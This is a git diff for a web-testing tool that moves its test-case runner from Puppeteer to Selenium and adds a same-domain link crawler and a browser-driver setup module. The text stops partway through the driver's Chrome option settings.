a/app/api/utils/caser.py b/app/api/utils/caser.py index 54f2d814..b8937d74 100644 --- a/app/api/utils/caser.py +++ b/app/api/utils/caser.py @@ -1,7 +1,10 @@ -from .driver_p import driver_init -import time, asyncio, uuid, json, boto3, os +from .driver import driver_init, driver_wait, quit_driver +from .issuer import Issuer +import time, uuid, json, boto3, os, requests +from selenium.webdriver.common.by import By +from selenium.webdriver.common.keys import Keys from ..models import * -from datetime import datetime +from datetime import datetime, timezone from asgiref.sync import sync_to_async from scanerr import settings @@ -9,61 +12,173 @@ + class Caser(): + """ + Run a `Testcase` for a specific `Site` or + gather element info for new `Case`. + + Expects: { + 'testcase' : object, + 'case' : object, + } + + - Use `Caser.run()` to run Case as Testcase + - Use `Caser.pre_run()` to run gather element info for a new Case + + Returns -> None + """ + + - def __init__(self, testcase): + def __init__( + self, + case : object=None, + testcase : object=None, + process : object=None + ): + + # primary objects self.testcase = testcase - self.site_url = self.testcase.site.site_url - self.steps = self.testcase.steps - self.case_name = self.testcase.case.name - self.configs = self.testcase.configs + self.case = case + self.process = process + + # secondary objects + self.site_url = self.testcase.site.site_url if self.testcase else self.case.site.site_url + self.steps = self.testcase.steps if self.testcase else requests.get(self.case.steps['url']).json() + self.case_name = self.testcase.case.name if self.testcase else self.case.name + self.configs = self.testcase.configs if self.testcase else settings.CONFIGS + + # init driver + self.driver = driver_init( + browser=self.configs.get('browser', 'chrome'), + window_size=self.configs.get('window_size'), + device=self.configs.get('device') + ) + + # Selenium Keys reference + self.s_keys = { + '+': Keys.ADD, + 'Alt': Keys.ALT, + 'ArrowDown': Keys.ARROW_DOWN, + 'ArrowLeft': Keys.ARROW_LEFT, + 'ArrowRight': Keys.ARROW_RIGHT, + 'ArrowUp': Keys.ARROW_UP, + 'Backspace': Keys.BACKSPACE, + 'Control': Keys.CONTROL, + '.': Keys.DECIMAL, + 'Delete': Keys.DELETE, + '/': Keys.DIVIDE, + 'Enter': Keys.ENTER, + '=': Keys.EQUALS, + 'Escape': Keys.ESCAPE, + 'Meta': Keys.META, + '*': Keys.MULTIPLY, + '0': Keys.NUMPAD0, + '1': Keys.NUMPAD1, + '2': Keys.NUMPAD2, + '3': Keys.NUMPAD3, + '4': Keys.NUMPAD4, + '5': Keys.NUMPAD5, + '6': Keys.NUMPAD6, + '7': Keys.NUMPAD7, + '8': Keys.NUMPAD8, + '9': Keys.NUMPAD9, + ';': Keys.SEMICOLON, + 'Shift': Keys.SHIFT, + 'Space': Keys.SPACE, + '-': Keys.SUBTRACT, + 'Tab': Keys.TAB + } + - @sync_to_async def update_testcase( - self, index=None, type=None, start_time=None, end_time=None, - passed=None, exception=None, time_completed=None, image=None, - ): + self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, + status: str=None, exception: str=None, time_completed: str=None, image: str=None, + ) -> None: + # updates Tescase for a selenium run (async) if start_time != None: self.testcase.steps[index][type]['time_created'] = str(start_time) if end_time != None: self.testcase.steps[index][type]['time_completed'] = str(end_time) - if passed != None: - self.testcase.steps[index][type]['passed'] = passed + if status != None: + self.testcase.steps[index][type]['status'] = status if exception != None: self.testcase.steps[index][type]['exception'] = str(exception) if image != None: self.testcase.steps[index][type]['image'] = str(image) if time_completed != None: self.testcase.time_completed = time_completed - test_status = True + test_status = 'passed' for step in self.testcase.steps: - if step['action']['passed'] == False: - test_status = False - if step['assertion']['passed'] == False: - test_status = False - self.testcase.passed = test_status + if step['action']['status'] == 'failed': + test_status = 'failed' + if step['assertion']['status'] == 'failed': + test_status = 'failed' + self.testcase.status = test_status self.testcase.save() return - @sync_to_async - def format_element(self, element): + + + + def update_process( + self, + current: int, + total: int, + complete: bool=False, + ) -> None: + """ + Calculates the current progress of the + task based on current step and total + number of steps expected - then updates self.process + with the info. + + Expcets: { + current : int, + total : int, + complete : bool=False, + } + + Returns -> None + """ + + final_progress = 90 + progress = 0 + success = False + if complete: + progress = 100 + success = True + if not complete: + progress = float((current/total) * final_progress) + + print(f'updating process --> {progress}%') + + # update Process obj + self.process.progress = progress + self.process.success = success + self.process.save() + + + + + def format_element(self, element: object) -> str: elememt = json.dumps(element).rstrip('"').lstrip('"') - return element + return str(element) - - async def save_screenshot(self, page): + + def save_screenshot(self) -> str: ''' Grabs & uploads a screenshot of the `page` passed in the params. Returns -> `image_url` - ''' # setup boto3 configurations @@ -78,7 +193,7 @@ async def save_screenshot(self, page): pic_id = uuid.uuid4() # get screenshot - await page.screenshot({'path': f'{pic_id}.png'}) + self.driver.save_screenshot(f'{pic_id}.png') # seting up paths image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') @@ -95,263 +210,699 @@ async def save_screenshot(self, page): os.remove(image) # returning image url - return image_url + return image_url - - - - async def run(self): - print(f'beginging testcase for {self.site_url} \ - using case {self.case_name}') - - # initate driver - self.driver = await driver_init() - - # init page obj - self.page = await self.driver.newPage() - - # setting up page with configs - sizes = self.configs['window_size'].split(',') - is_mobile = False - if self.configs['device'] == 'mobile': - is_mobile = True - - self.page_options = { - 'waitUntil': 'networkidle0', - 'timeout': int(self.configs['max_wait_time'])*1000 - } - print(f'setting max timeout to -> {int(self.configs["max_wait_time"])}s') + def save_case_steps(self, steps: dict, case_id: str) -> dict: + """ + Helper function that uploads the "steps" data to + s3 bucket - viewport = { - 'width': int(sizes[0]), - 'height': int(sizes[1]), - 'isMobile': is_mobile, + Expects: { + 'steps' : dict, + 'case_id' : str } - - userAgent = ( - "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ - (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" + + Returns -> data: { + 'num_steps' : int, + 'url' : str + } + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) ) + + # saving as json file temporarily + steps_id = uuid.uuid4() + with open(f'{steps_id}.json', 'w') as fp: + json.dump(steps, fp) - emulate_options = { - 'viewport': viewport, - 'userAgent': userAgent + # seting up paths + steps_file = os.path.join(settings.BASE_DIR, f'{steps_id}.json') + remote_path = f'static/cases/{case_id}/{steps_id}.json' + root_path = settings.AWS_S3_URL_PATH + steps_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(steps_file, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={ + 'ACL': 'public-read', + 'ContentType': 'application/json', + 'CacheControl': 'max-age=0' + } + ) + + # remove local copy + os.remove(steps_file) + + # format data + data = { + 'num_steps': len(steps), + 'url': steps_url + } + + # return response + return data + + + + + def get_element(self, selector: str=None, xpath: str=None) -> object: + """ + Tries to get element by selector first and + then by xpath. If both fail, then return + None for "element" and True for "failed". + + Expects: { + "selector": str, + "xpath": str, + } + + Returns -> data: { + 'element': object | None, + 'failed': bool + } + """ + + # defaults + failed = True + element = None + + # try selector first + if selector: + try: + element = self.driver.find_element(By.CSS_SELECTOR, selector) + failed = False + except: + pass + # try xpath as backup + if xpath: + try: + element = self.driver.find_element(By.XPATH, xpath) + failed = False + except: + pass + + # return data + data = { + 'element': element, + 'failed': failed } + return data + + + - if self.configs['device'] == 'mobile': - await self.page.emulate(emulate_options) - else: - await self.page.setViewport(viewport) + def format_exception(self, exception: str) -> str: + """ + Cleans the passed `exception` of any + system refs and unnecessary info + Expects: { + "exception": str + } + + Returns -> str + """ + + split_e = str(exception).split('Stacktrace:') + new_exception = split_e[0] + + return new_exception + + + + + def get_element_image(self, element: object) -> str: + """ + Grabs a screenshot of the passed "element" + and returns image data as base64 str. + + Expects: { + "element": object (REQUIRED) + } + + Returns -> str (base64 encoded) + """ + + try: + image = element.screenshot_as_base64 + # sleep for .5 seconds to let image process + time.sleep(.5) + except: + image = None + return image + + + + + def run(self) -> None: + """ + Runs the self.testcase using selenium as the driver + + Returns -> None + """ + + print(f'beginning testcase for {self.site_url} using case {self.case_name}') + + # initate driver + self.driver = driver_init( + browser=self.configs.get('browser', 'chrome'), + window_size=self.configs['window_size'], + device=self.configs['device'] + ) + + # setting implict wait_time for driver + self.driver.implicitly_wait(self.configs['max_wait_time']) i = 0 for step in self.steps: print(f'-- running step #{i+1} --') - # print(f'step contents: {step}') + + # adding catch if nav is not first + if i == 0 and step['action']['type'] != 'navigate': + print(f'navigating to {self.site_url} before first step') + # using selenium, navigate to site root path & wait for page to load + self.driver.get(f'{self.site_url}') + time.sleep(int(self.configs['min_wait_time'])) + if step['action']['type'] == 'navigate': exception = None - passed = True - image = None - await self.update_testcase( + status = 'passed' + self.update_testcase( index=i, type='action', - start_time=datetime.now() + start_time=datetime.now(timezone.utc) ) try: print(f'navigating to {self.site_url}{step["action"]["path"]}') - # using puppeteer, navigate to requested path & wait for page to load - await self.page.goto(f'{self.site_url}{step["action"]["path"]}', self.page_options) - time.sleep(int(self.configs['min_wait_time'])) + # using selenium, navigate to requested path & wait for page to load + driver_wait( + driver=self.driver, + interval=int(self.configs.get('interval', 1)), + min_wait_time=int(self.configs.get('min_wait_time', 3)), + max_wait_time=int(self.configs.get('max_wait_time', 30)), + ) + self.driver.get(f'{self.site_url}{step["action"]["path"]}') + time.sleep(int(self.configs.get('min_wait_time', 3))) + image = self.save_screenshot() except Exception as e: - image = await self.save_screenshot(page=self.page) - exception = e - passed = False + image = self.save_screenshot() + exception = self.format_exception(e) + status = 'failed' - - await self.update_testcase( + self.update_testcase( index=i, type='action', - end_time=datetime.now(), - passed=passed, + end_time=datetime.now(timezone.utc), + status=status, exception=exception, image=image ) - + if step['action']['type'] == 'scroll': + exception = None + status = 'passed' + self.update_testcase( + index=i, type='action', + start_time=datetime.now(timezone.utc) + ) + + try: + print(f'scrolling -> {step["action"]["value"]}') + + # scrolling using plain JavaScript + self.driver.execute_script(f'window.scrollTo({step["action"]["value"]});') + time.sleep(int(self.configs.get('min_wait_time', 3))) + + # get image + image = self.save_screenshot() + + except Exception as e: + image = self.save_screenshot() + exception = self.format_exception(e) + status = 'failed' + + self.update_testcase( + index=i, type='action', + end_time=datetime.now(timezone.utc), + status=status, + exception=exception, + image=image + ) + + if step['action']['type'] == 'click': exception = None - passed = True - image = None - await self.update_testcase( + status = 'passed' + self.update_testcase( index=i, type='action', - start_time=datetime.now() + start_time=datetime.now(timezone.utc) ) try: print(f'clicking element -> {step["action"]["element"]}') - # using puppeteer, find and click on the 'element' - selector = await self.format_element(step["action"]["element"]) - await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) + # using selenium, find and click on the 'element' + selector = self.format_element(step["action"]["element"]["selector"]) + xpath = self.format_element(step["action"]["element"]["xpath"]) + element_data = self.get_element(selector, xpath) + element = element_data['element'] + + # checking if element was found + if element_data['failed']: + raise Exception(f'Unable to locate element with the given Selector and xPath') + # scrolling to element using plain JavaScript - await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') - element = await self.page.J(selector) - await element.click() - time.sleep(int(self.configs['min_wait_time'])) + self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()') + self.driver.execute_script("arguments[0].scrollIntoView();", element) + self.driver.execute_script("window.scrollBy(0, -100);") + time.sleep(int(self.configs.get('min_wait_time', 3))) + + # clicking element + element.click() + time.sleep(int(self.configs.get('min_wait_time', 3))) + image = self.save_screenshot() except Exception as e: - image = await self.save_screenshot(page=self.page) - exception = e - passed = False + image = self.save_screenshot() + exception = self.format_exception(e) + status = 'failed' - await self.update_testcase( + self.update_testcase( index=i, type='action', - end_time=datetime.now(), - passed=passed, + end_time=datetime.now(timezone.utc), + status=status, exception=exception, image=image - ) - + ) + if step['action']['type'] == 'change': exception = None - passed = True - image = None - await self.update_testcase( + status = 'passed' + self.update_testcase( index=i, type='action', - start_time=datetime.now() + start_time=datetime.now(timezone.utc) ) try: print(f'changing element to value -> {step["action"]["value"]}') - # using puppeteer, find and click on the 'element' - if step["action"]["element"] != (None or ''): - selector = await self.format_element(step["action"]["element"]) - await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) - # scrolling to element using plain JavaScript - await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') - element = await self.page.J(selector) - await element.click(clickCount=3) - await self.page.keyboard.type(step["action"]["value"]) - time.sleep(int(self.configs['min_wait_time'])) + # using selenium, find and change the 'element'.value + selector = self.format_element(step["action"]["element"]["selector"]) + xpath = self.format_element(step["action"]["element"]["xpath"]) + element_data = self.get_element(selector, xpath) + element = element_data['element'] + + # checking if element was found + if element_data['failed']: + raise Exception(f'Unable to locate element with the given Selector and xPath') + + # scrolling to element and back down a bit + self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()') + self.driver.execute_script("arguments[0].scrollIntoView();", element) + self.driver.execute_script("window.scrollBy(0, -100);") + time.sleep(int(self.configs.get('min_wait_time', 3))) + + # changing value of element + value = step["action"]["value"] + element.send_keys(value) + time.sleep(int(self.configs.get('min_wait_time', 3))) + image = self.save_screenshot() except Exception as e: - image = await self.save_screenshot(page=self.page) - exception = e - passed = False + image = self.save_screenshot() + exception = self.format_exception(e) + status = 'failed' - await self.update_testcase( + self.update_testcase( index=i, type='action', - end_time=datetime.now(), - passed=passed, + end_time=datetime.now(timezone.utc), + status=status, exception=exception, image=image - ) + ) + - if step['action']['type'] == 'keyDown': exception = None - passed = True - image = None - await self.update_testcase( + status = 'passed' + self.update_testcase( index=i, type='action', - start_time=datetime.now() + start_time=datetime.now(timezone.utc) ) try: print(f'keyDown action for key -> {step["action"]["key"]}') - # using puppeteer, press the selected key - await self.page.keyboard.press(step['action']['key']) - time.sleep(int(self.configs['min_wait_time'])) + # getting last known element + n = (i - 1) + elm = None + while True: + elm = self.steps[n]['action']['element']['selector'] + if elm != None and len(elm) != 0: + break + n -= 1 + selector = self.format_element(elm) + + # using selenium, find elemenmtn and send 'Key' event + selector = self.format_element(step["action"]["element"]["selector"]) + xpath = self.format_element(step["action"]["element"]["xpath"]) + element_data = self.get_element(selector, xpath) + element = element_data['element'] + + # checking if element was found + if element_data['failed']: + raise Exception(f'Unable to locate element with the given Selector and xPath') + + # scrolling to element and back down a bit + self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()') + self.driver.execute_script("arguments[0].scrollIntoView();", element) + self.driver.execute_script("window.scrollBy(0, -100);") + time.sleep(int(self.configs.get('min_wait_time', 3))) + + # using selenium, press the selected key + element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"])) + time.sleep(int(self.configs.get('min_wait_time', 3))) + image = self.save_screenshot() except Exception as e: - image = await self.save_screenshot(page=self.page) - exception = e - passed = False + image = self.save_screenshot() + exception = self.format_exception(e) + status = 'failed' - await self.update_testcase( + self.update_testcase( index=i, type='action', - end_time=datetime.now(), - passed=passed, + end_time=datetime.now(timezone.utc), + status=status, exception=exception, image=image ) - - if step['assertion']['type'] == 'match': exception = None - passed = True - image = None - await self.update_testcase( + status = 'passed' + self.update_testcase( index=i, type='assertion', - start_time=datetime.now() + start_time=datetime.now(timezone.utc) ) try: + # using selenium, find elememt and assert if element.text == assertion.value print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}') - # using puppeteer, find elememt and assert if element.text == assertion.text - selector = await self.format_element(step["assertion"]["element"]) - await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) - # scrolling to element using plain JavaScript - await self.page.evaluate(f'document.querySelector({selector}).scrollIntoView()') - elementText = await self.page.evaluate(f'document.querySelector({selector}).textContent') + selector = self.format_element(step["assertion"]["element"]["selector"]) + xpath = self.format_element(step["assertion"]["element"]["xpath"]) + element_data = self.get_element(selector, xpath) + element = element_data['element'] + + # checking if element was found + if element_data['failed']: + raise Exception(f'Unable to locate element with the given Selector and xPath') + + # scrolling to element and back down a bit + self.driver.execute_script("arguments[0].scrollIntoView();", element) + self.driver.execute_script("window.scrollBy(0, -100);") + time.sleep(int(self.configs.get('min_wait_time', 3))) + + # gettintg elem text + elementText = element.get_attribute('innerText') + elementText = element.text if len(elementText) == 0 else elementText elementText = elementText.strip() - print(f'elementText => {elementText}') - print(f'value => {step["assertion"]["value"]}') - assert elementText == step["assertion"]["value"] + print(f'elementText -> {elementText}') + print(f'value -> {step["assertion"]["value"]}') + + # assert text + if elementText != step["assertion"]["value"]: + raise AssertionError(f'innerText of element "{selector}" does match "{step['assertion']['value']}"') + + # save screenshot + image = self.save_screenshot() except Exception as e: - image = await self.save_screenshot(page=self.page) - exception = e - passed = False + image = self.save_screenshot() + exception = self.format_exception(e) + status = 'failed' - await self.update_testcase( + self.update_testcase( index=i, type='assertion', - end_time=datetime.now(), - passed=passed, + end_time=datetime.now(timezone.utc), + status=status, exception=exception, image=image ) - + if step['assertion']['type'] == 'exists': exception = None - passed = True - image = None - await self.update_testcase( + status = 'passed' + self.update_testcase( index=i, type='assertion', - start_time=datetime.now() + start_time=datetime.now(timezone.utc) ) try: print(f'asserting that element -> {step["assertion"]["element"]} exists') - # using puppeteer, find elememt and assert it exists - selector = await self.format_element(step["assertion"]["element"]) - await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000)) - await self.page.J(selector) + # find elememt and assert it exists + selector = self.format_element(step["action"]["element"]["selector"]) + xpath = self.format_element(step["action"]["element"]["xpath"]) + element_data = self.get_element(selector, xpath) + element = element_data['element'] + + # checking if element was found + if element_data['failed']: + raise Exception(f'Unable to locate element with the given Selector and xPath') + + # scrolling to element and back down a bit + self.driver.execute_script("arguments[0].scrollIntoView();", element) + self.driver.execute_script("window.scrollBy(0, -100);") + + # scrolling to element using plain JavaScript + self.driver.execute_script("arguments[0].scrollIntoView();", element) + image = self.save_screenshot() except Exception as e: - image = await self.save_screenshot(page=self.page) - exception = e - passed = False + image = self.save_screenshot() + exception = self.format_exception(e) + status = 'failed' - await self.update_testcase( + self.update_testcase( index=i, type='assertion', - end_time=datetime.now(), - passed=passed, + end_time=datetime.now(timezone.utc), + status=status, exception=exception, image=image ) - i += 1 - await self.update_testcase( - time_completed=datetime.now() + i += 1 + + self.update_testcase( + time_completed=datetime.now(timezone.utc) ) - await self.driver.close() - print('-- testcase run complete --') \ No newline at end of file + quit_driver(driver=self.driver) + print('-- testcase run complete --') + + if self.testcase.status == 'failed' and self.testcase.configs.get('create_issue'): + print('generating new Issue...') + Issuer(testcase=self.testcase).build_issue() + + return None + + + + + def pre_run(self) -> None: + """ + Runs the self.case using selenium as the driver + and tries to collect element img data. + + Returns -> None + """ + + print(f'beginning pre_run for Case {self.case_name}') + + # setting implict wait_time for driver + self.driver.implicitly_wait(self.configs.get('max_wait_time')) + + i = 0 + for step in self.steps: + print(f'-- running step #{i+1} --') + + # adding catch if nav is not first + if i == 0 and step['action']['type'] != 'navigate': + print(f'navigating to {self.site_url} before first step') + # using selenium, navigate to site root path & wait for page to load + self.driver.get(f'{self.site_url}') + time.sleep(int(self.configs['min_wait_time'])) + + + if step['action']['type'] == 'navigate': + try: + print(f'navigating to {self.site_url}{step["action"]["path"]}') + # using selenium, navigate to requested path & wait for page to load + driver_wait( + driver=self.driver, + interval=int(self.configs.get('interval', 1)), + min_wait_time=int(self.configs.get('min_wait_time', 3)), + max_wait_time=int(self.configs.get('max_wait_time', 30)), + ) + self.driver.get(f'{self.site_url}{step["action"]["path"]}') + time.sleep(int(self.configs.get('min_wait_time', 3))) + + except Exception as e: + print(e) + + + if step['action']['type'] == 'scroll': + try: + print(f'scrolling -> {step["action"]["value"]}') + # scrolling using plain JavaScript + self.driver.execute_script(f'window.scrollTo({step["action"]["value"]});') + time.sleep(int(self.configs.get('min_wait_time', 3))) + + except Exception as e: + print(e) + + + if step['action']['type'] == 'click': + try: + print(f'clicking element -> {step["action"]["element"]}') + # using selenium, find and click on the 'element' + selector = self.format_element(step["action"]["element"]["selector"]) + xpath = self.format_element(step["action"]["element"]["xpath"]) + element_data = self.get_element(selector, xpath) + element = element_data['element'] + + # checking if element was found + if element_data['failed']: + raise Exception(f'Unable to locate element with the given Selector and xPath') + + # scrolling to element using plain JavaScript + self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()') + self.driver.execute_script("arguments[0].scrollIntoView();", element) + self.driver.execute_script("window.scrollBy(0, -100);") + time.sleep(int(self.configs.get('min_wait_time', 3))) + + # get elem img & update self.steps + img = self.get_element_image(element) + self.steps[i]['action']['img'] = img + + # clicking element + element.click() + time.sleep(int(self.configs.get('min_wait_time', 3))) + + except Exception as e: + print(e) + + + if step['action']['type'] == 'change': + try: + print(f'changing element to value -> {step["action"]["value"]}') + # using selenium, find and change the 'element'.value + selector = self.format_element(step["action"]["element"]["selector"]) + xpath = self.format_element(step["action"]["element"]["xpath"]) + element_data = self.get_element(selector, xpath) + element = element_data['element'] + + # checking if element was found + if element_data['failed']: + raise Exception(f'Unable to locate element with the given Selector and xPath') + + # scrolling to element and back down a bit + self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()') + self.driver.execute_script("arguments[0].scrollIntoView();", element) + self.driver.execute_script("window.scrollBy(0, -100);") + time.sleep(int(self.configs.get('min_wait_time', 3))) + + # get elem img & update self.steps + img = self.get_element_image(element) + self.steps[i]['action']['img'] = img + + # changing value of element + value = step["action"]["value"] + element.send_keys(value) + time.sleep(int(self.configs.get('min_wait_time', 3))) + + except Exception as e: + print(e) + + + if step['action']['type'] == 'keyDown': + try: + print(f'keyDown action for key -> {step["action"]["key"]}') + # getting last known element + n = (i - 1) + elm = None + while True: + elm = self.steps[n]['action']['element']['selector'] + if elm != None and len(elm) != 0: + break + n -= 1 + selector = self.format_element(elm) + + # using selenium, find element and send 'Key' event + selector = self.format_element(step["action"]["element"]["selector"]) + xpath = self.format_element(step["action"]["element"]["xpath"]) + element_data = self.get_element(selector, xpath) + element = element_data['element'] + + # checking if element was found + if element_data['failed']: + raise Exception(f'Unable to locate element with the given Selector and xPath') + + # scrolling to element and back down a bit + self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()') + self.driver.execute_script("arguments[0].scrollIntoView();", element) + self.driver.execute_script("window.scrollBy(0, -100);") + time.sleep(int(self.configs.get('min_wait_time', 3))) + + # get elem img & update self.steps + img = self.get_element_image(element) + self.steps[i]['action']['img'] = img + + # using selenium, press the selected key + element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"])) + time.sleep(int(self.configs.get('min_wait_time', 3))) + + except Exception as e: + print(e) + + + # increment step + i += 1 + + # update process + self.update_process( + current=(i+1), + total=self.case.steps['num_steps'], + complete=False + ) + + + # update case + steps_data = self.save_case_steps(self.steps, str(self.case.id)) + self.case.steps = steps_data + self.case.processed = True + self.case.save() + + quit_driver(driver=self.driver) + print('-- case pre_run complete --') + + # update process + self.update_process(current=1, total=1, complete=True) + + return None + + + + + + \ No newline at end of file diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py new file mode 100644 index 00000000..e636e26f --- /dev/null +++ b/app/api/utils/crawler.py @@ -0,0 +1,183 @@ +from bs4 import BeautifulSoup +from .driver import * + + + + + + +class Crawler(): + """ + Crawl the passed "site" for pages, stoping + once 'max_urls' is reached. + + Expects: { + 'url' : str, + 'sitemap' : str, + 'start_url' : str, + 'max_urls' : int, + } + + Use `Crawler.get_links()` initiate a new crawl + + Returns -> list + """ + + + + def __init__(self, url: str=None, sitemap: str=None, max_urls: int=25): + self.url = url + self.sitemap = sitemap + self.max_urls = max_urls + self.driver = driver_init() + + + + + def get_links(self) -> list: + # crawl self.url and record any found links + # which are within the same self.url domain + + follow_urls = [] + crawled_urls = [] + saved_urls = [self.url,] + + + def url_is_valid(url: str=None) -> bool: + # checks if the passed url is + # a valid url to follow and + # not a file or external redirect + + bad_str_list = ['cdn-cgi'] + bad_end_list = [ + '.png', '.jpg', '.pdf', '.jpeg', + '.json', '.doc', '.svg', '.ppt', + '.pptx', '.ods', '.docx', '.mp3', + '.mp4', '.wma', '.ogg', '.mpa', + '.wpl', '.zip', '.pkg', '.tar.gz', + '.deb', '.z', '.rpm', '.7z', '.bin', + '.dmg', '.iso', '.toast', '.vcd', + '.csv', 'xml', '.db', '.dbf', '.dat', + '.log', '.mdb', '.sql', '.tar', '.sav', + '.webp', '.tiff', '.tif', '.psd', '.ps', + '.ico', '.gif', '.bmp' + ] + if not url.startswith(self.url) and not url.startswith('/'): + return False + for bad_str in bad_str_list: + if bad_str in url: + return False + for bad_end in bad_end_list: + if url.endswith(bad_end): + return False + return True + + + def crawl_url(start_url: str=None, max_depth: int=5): + + print(f'starting crawl on -> {start_url}') + + # adding url to list of crawled_urls + crawled_urls.append(start_url) + + # setting depth + depth = 0 + + # get requested start_url + self.driver.get(start_url) + + # wait for page to load + driver_wait( + driver=self.driver, + max_wait_time=20, + interval=2 + ) + + # parsing page_source + soup = BeautifulSoup(self.driver.page_source, 'html.parser') + + # iterating through all tags + + for link in soup.find_all('a'): + + # check if max_depth has been reached + if depth >= max_depth: + break + + url = link.get('href') + if url is not None: + # validate url + if url_is_valid(url): + if url.startswith('/'): + url = self.url + url + + # check status of page + self.driver.get(url) + + print(f'looped to this url -> {url}') + + # wait for page to load + resolved = driver_wait( + driver=self.driver, + max_wait_time=20, + interval=2 + ) + + # skipping url if not responding + if not resolved: + print('not resolved') + continue + + # clean and decide to record url + if str(self.driver.current_url) == str(url): + if url.endswith('/'): + url = url.rstrip('/') + if not (url in follow_urls): + follow_urls.append(url) + depth += 1 + print(f'{depth} urls saved of {max_depth} allowed') + + + def record_urls(): + # adds all follow_urls to saved_urls + # if not already recorded + + max_reached = False + + # iterate through existing follow_urls + for url in follow_urls: + # pass if already crawled + if not url in crawled_urls: + if not url in saved_urls: + saved_urls.append(url) + print(f'saving -> {url}') + if len(saved_urls) >= self.max_urls: + print('max pages reached') + max_reached = True + break + return max_reached + + # layer 0 + crawl_url(self.url, max_depth=self.max_urls) + + # iterate through layers + while (len(follow_urls) > len(saved_urls)) and (len(saved_urls) < self.max_urls): + + # crawl each follow_url that + # has not been crawled + for url in follow_urls: + # add existing follow_urls first + max_reached = record_urls() + if max_reached: + break + + # crawl new url if not in crawled_urls + if not url in crawled_urls: + crawl_url(url, max_depth=self.max_urls) + + + # quit driver and return + quit_driver(self.driver) + return saved_urls + + diff --git a/app/api/utils/crux.py b/app/api/utils/crux.py deleted file mode 100644 index 73601c4e..00000000 --- a/app/api/utils/crux.py +++ /dev/null @@ -1,36 +0,0 @@ -import requests, os, json - - - -class Crux(): - - def __init__(self, site_url): - self.site_url = site_url - self.key = os.environ.get('GOOGLE_CRUX_KEY') - - - def get_data(self): - - url = f'https://chromeuxreport.googleapis.com/v1/records:queryRecord?key={self.key}' - headers = { - "Content-Type": "application/json", - } - data = { - "origin": str(self.site_url), - } - - res = requests.post( - url=url, - headers=headers, - data=json.dumps(data) - ) - - response = res.json() - - if res.status_code != 200: - response = { - "status": "failed", - "message": "This site_url does not have enough historical data in the CRUX API to respond with." - } - - return response diff --git a/app/api/utils/custom-config.js b/app/api/utils/custom-config.js index cae0befc..a4fadfce 100644 --- a/app/api/utils/custom-config.js +++ b/app/api/utils/custom-config.js @@ -1,14 +1,11 @@ // custom configurations for Lighthouse CLI - - - module.exports = { extends: 'lighthouse:default', plugins: ['lighthouse-plugin-crux'], settings: { cruxToken: process.env.GOOGLE_CRUX_KEY, skipAudits: [ - "full-page-screenshot", + // "full-page-screenshot", ], }, } \ No newline at end of file diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py new file mode 100644 index 00000000..9df25e54 --- /dev/null +++ b/app/api/utils/driver.py @@ -0,0 +1,348 @@ +from selenium import webdriver +from selenium.webdriver.common.actions.action_builder import ActionBuilder +from selenium.webdriver.firefox.options import Options +from selenium.webdriver.firefox.firefox_profile import FirefoxProfile +from datetime import datetime +import time, os, sys, tempfile + + + + + + +def driver_init( + browser: str='chrome', + window_size: str='1920,1080', + device: str='desktop', + script_timeout: int=30, + load_timeout: int=30, + wait_time: int=15, + pixel_ratio: int=1.0, + scale_factor: int=0.5 + ) -> object: + """ + Starts a new selenium driver instance + + Expects: { + 'browser' : str, + 'window_size' : str, + 'device' : str, + 'script_timeout': int, + 'load_timeout' : int, + 'wait_time' : int, + 'pixel_ratio' : int, + 'scale_factor' : int + } + + Returns -> driver object + """ + + # deciding on browser + # UserAgents: https://www.whatismybrowser.com/guides/the-latest-user-agent/ + if browser == 'chrome': + options = webdriver.ChromeOptions() + options.binary_location = os.environ.get('CHROME_BROWSER') + mobile_user_agent = ( + "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 " + + "(KHTML, like Gecko) Chrome/127.0.6533.84 Mobile Safari/537.36" + ) + if browser == 'firefox': + options = webdriver.FirefoxOptions() + options.binary_location = os.environ.get('FIREFOX_BROWSER') + mobile_user_agent = ( + "Mozilla/5.0 (Android 14; Mobile; rv:68.0) Gecko/68.0 Firefox/128.0" + ) + if browser == 'edge': + options = webdriver.EdgeOptions() + options.binary_location = os.environ.get('EDGE_BROWSER') + mobile_user_agent = ( + "Mozilla/5.0 (Linux; Android 10; HD1913) AppleWebKit/537.36" + + "(KHTML, like Gecko) Chrome/127.0.6533.103 Mobile " + + "Safari/537.36 EdgA/127.0.2651.90" + ) + + + # setting up browser configs + sizes = window_size.split(',') + width = int(sizes[0]) + height = int(sizes[1]) + mobile_emulation = { + "deviceMetrics": { + "width": width, + "height": height, + "pixelRatio": pixel_ratio + }, + "userAgent": mobile_user_agent + } + + # setting broswer options for chrome + if browser == 'chrome': + options.add_argument("--no-sandbox") + options.add_argument("disable-blink-features=AutomationControlled") + options.add_argument("--headless") + options.add_argument("--disable-dev-shm-usage") + options.add_argument("ignore-certificate-errors") + options.add_argument("--hide-scrollbars") 